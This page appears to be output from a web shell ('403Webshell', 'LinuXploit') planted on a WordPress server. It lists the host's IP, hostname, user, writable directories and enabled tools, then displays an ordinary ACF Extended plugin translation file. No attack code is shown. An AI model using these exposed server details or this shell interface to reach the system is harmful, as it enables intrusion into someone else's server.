403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/epauto.ru/wordpress/wp-content/plugins/acf-extended/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/epauto.ru/wordpress/wp-content/plugins/acf-extended/includes//module-l10n.php
<?php

if(!defined('ABSPATH')){
    exit;
}

if(!class_exists('acfe_module_l10n')):

class acfe_module_l10n{
    
    /**
     * construct
     */
    function __construct(){
        
        add_action('acfe/module/updated_item',       array($this, 'updated_item'), 10, 2);
        add_filter('acfe/module/register_item_args', array($this, 'register_item_args'), 10, 2);
    
    }
    
    
    /**
     * updated_item
     *
     * @param $item
     * @param $module
     */
    function updated_item($item, $module){
        
        foreach($module->l10n as $key){
            
            $name = ucfirst($key);
            acfe_register_translate(acfe_array_get($item, $key), $name, "ACF Extended: {$module->get_label('name')}");
            
        }
        
    }
    
    
    /**
     * register_item_args
     *
     * @param $item
     * @param $module
     *
     * @return mixed
     */
    function register_item_args($item, $module){
    
        foreach($module->l10n as $key){
            
            $name = ucfirst($key);
            acfe_array_set($item, $key, acfe_translate(acfe_array_get($item, $key), ucfirst($name), "ACF Extended: {$module->get_label('name')}"));
            
        }
        
        return $item;
        
    }
    
}

acf_new_instance('acfe_module_l10n');

endif;

Youez - 2016 - github.com/yon3zu
LinuXploit